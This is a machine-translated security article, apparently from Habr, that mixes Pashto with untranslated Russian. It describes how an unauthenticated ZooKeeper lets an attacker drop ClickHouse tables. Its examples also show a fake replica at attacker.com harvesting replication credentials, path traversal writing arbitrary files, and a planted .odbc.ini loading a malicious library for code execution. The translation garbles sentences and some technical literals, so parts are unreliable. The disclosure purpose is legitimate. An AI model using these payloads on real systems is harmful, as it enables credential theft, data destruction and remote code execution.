تاسو ولې د ژوبڼ پنجرې تړلو ته اړتیا لرئ؟

تاسو ولې د ژوبڼ پنجرې تړلو ته اړتیا لرئ؟

دا مقاله به د ClickHouse نقل کولو پروتوکول کې د خورا ځانګړي زیان مننې کیسه بیان کړي، او دا به هم وښيي چې څنګه د برید سطحه پراخه کیدی شي.

ClickHouse د ډیټا لوی مقدار ذخیره کولو لپاره ډیټابیس دی ، ډیری وختونه له یو څخه ډیر نقل کاروي. په ClickHouse کې کلستر کول او نقل کول په سر کې جوړ شوي Apache ZooKeeper (ZK) او د لیکلو حقونو ته اړتیا لري.

Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.

د خپل برید سطح کمولو لپاره، تاسو باید تل د زوکیپر نصبولو په وخت کې تصدیق او اختیار تنظیم کړئ

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.

کله چې په کلستر حالت کې تنظیم شي، ClickHouse د توزیع شوي پوښتنو ملاتړ کوي DDL، د ZK څخه تیریږي - د دوی لپاره نوډونه په شیټ کې رامینځته شوي /clickhouse/task_queue/ddl.

د مثال په توګه، تاسو یو نوډ جوړ کړئ /clickhouse/task_queue/ddl/query-0001 د منځپانګې سره:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

او له هغې وروسته، د ازموینې میز به د کلستر سرورونو host1 او host2 کې حذف شي. DDL د CREATE/ALTER/DROP پوښتنو چلولو ملاتړ هم کوي.

ډارونکی غږ؟ مګر برید کوونکی چیرته کولی شي د سرور پته ترلاسه کړي؟

Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX - د نقل نوم، foobar — имя таблицы):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

будут созданы узлы کالمونه и مېاتاداتا.

منځپانګې /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ایا دا ممکنه ده چې د دې کلستر څخه ډاټا یوځای کړئ؟ هو، که د نقل کولو بندر (TCP/9009) په سرور کې chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?

برید کوونکی کولی شي په ساده ډول د مینځپانګې کاپي کولو سره په ZK کې نوی نقل رامینځته کړي /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.

منځپانګې /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

بیا تاسو اړتیا لرئ نورو نقلونو ته ووایاست چې د برید کونکي سرور کې د معلوماتو نوی بلاک شتون لري چې دوی یې اخیستو ته اړتیا لري - په ZK کې نوډ رامینځته شوی /clickhouse/tables/01-01/foobar/log/log-00000000XX (د ایکس ایکس یوډول وده کونکی کاونټر، کوم چې باید د پیښې په لاګ کې د وروستي څخه لوی وي):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

چې source_replica - د برید کونکي عکس نوم چې په تیر مرحله کې رامینځته شوی ، block_id — идентификатор блока данных, تر لاسه — команда "get block" (а тут команды для других операций).

Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com غوښتنې به ترلاسه کړي:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

چیرته چې XXX د نقل کولو لپاره د تصدیق ډاټا ده. په ځینو مواردو کې، دا کیدای شي د اصلي ClickHouse پروتوکول او HTTP پروتوکول له لارې ډیټابیس ته د لاسرسي سره یو حساب وي. لکه څنګه چې تاسو لیدلي، د برید سطح په جدي توګه لوی کیږي ځکه چې ZooKeeper، د نقل لپاره کارول کیږي، پرته له دې چې تصدیق شوي ترتیب شوي پاتې شي.

Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.

تاسو ولې د ژوبڼ پنجرې تړلو ته اړتیا لرئ؟
د تکرار پروسس کوډ

Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.

په کې ډیری فرعي لارښودونه شتون لري /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):

بيرغونه - د ثبتولو لپاره لارښود بیرغونه, используемых при восстановлении после потери данных;
tmp — каталог хранения временных файлов;
user_files - د غوښتنلیکونو فایلونو سره عملیات پدې لارښود پورې محدود دي (INTO OUTFILE او نور)؛
مېاتاداتا - د جدول توضیحاتو سره د sql فایلونه؛
preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server;
معلومات - اصلي لارښود پخپله د ډیټا سره ، پدې حالت کې د هر ډیټابیس لپاره جلا فرعي لارښود په ساده ډول دلته رامینځته شوی (د مثال په توګه /var/lib/clickhouse/data/default).

د هر جدول لپاره، د ډیټابیس ډایرکټر کې فرعي لارښود جوړ شوی. هر کالم یو جلا فایل دی چې پورې اړه لري د انجن بڼه. د مثال په توګه د میز لپاره foobar, созданной атакующим, будут созданы следующие файлы:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.

پام لرونکی لوستونکی شاید دمخه په یوه فنکشن کې د فایل_ نوم غیر محفوظ کنټینیشن په اړه اوریدلی وي WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

او د یوځای کیدو وروسته ../../../../../../../../../tmp/pwned فایل به لیکل شي /tmp/pwned د منځپانګې سره سلام ژوبڼ ساتونکی.

Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).

Внешние словари в RCE

په زړو نسخو کې، د ClickHouse ترتیباتو سره لارښود د کارونکي حقونو سره زیرمه شوی و کلک هاؤس ډیفالټ د ترتیباتو فایلونه د XML فایلونه دي چې خدمت په پیل کې لوستل کیږي او بیا یې کیچ کوي /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся — такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.

ODBC в RCE

При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. په هرصورت، کله چې بهرني لغتونه کاروي، یا د نورو دلیلونو لپاره، مدیران یو لارښود جوړوي /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! نږدې ژباړن).

ClickHouse поддерживает ODBC او کولی شي د نورو ډیټابیسونو سره وصل شي. په ODBC کې، تاسو کولی شئ د ډیټابیس چلوونکي کتابتون (.so) ته لاره مشخص کړئ. د ClickHouse زړو نسخو تاسو ته اجازه درکوي چې دا په مستقیم ډول د غوښتنې هینډلر کې ترسره کړئ، مګر اوس د پیوستون تار یو ډیر سخت چک اضافه شوی. odbc-bridge، نو دا نور امکان نلري چې د غوښتنې څخه د ډرایور لاره مشخص کړئ. مګر ایا برید کونکی کولی شي د پورته بیان شوي زیان په کارولو سره د کور لارښود ته ولیکي؟

راځئ چې یو فایل جوړ کړو ~/.odbc.ini د دې په څیر منځپانګې سره:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

بیا په پیل کې SELECT * FROM odbc('DSN=lalala', 'test', 'test'); کتابتون به پورته شي test.so и получено RCE (спасибо buglloc د ټیپ لپاره).

دا او نور زیانونه د ClickHouse په 19.14.3 نسخه کې حل شوي دي. د خپل ClickHouse او ZooKeepers پاملرنه وکړئ!

سرچینه: www.habr.com

Add a comment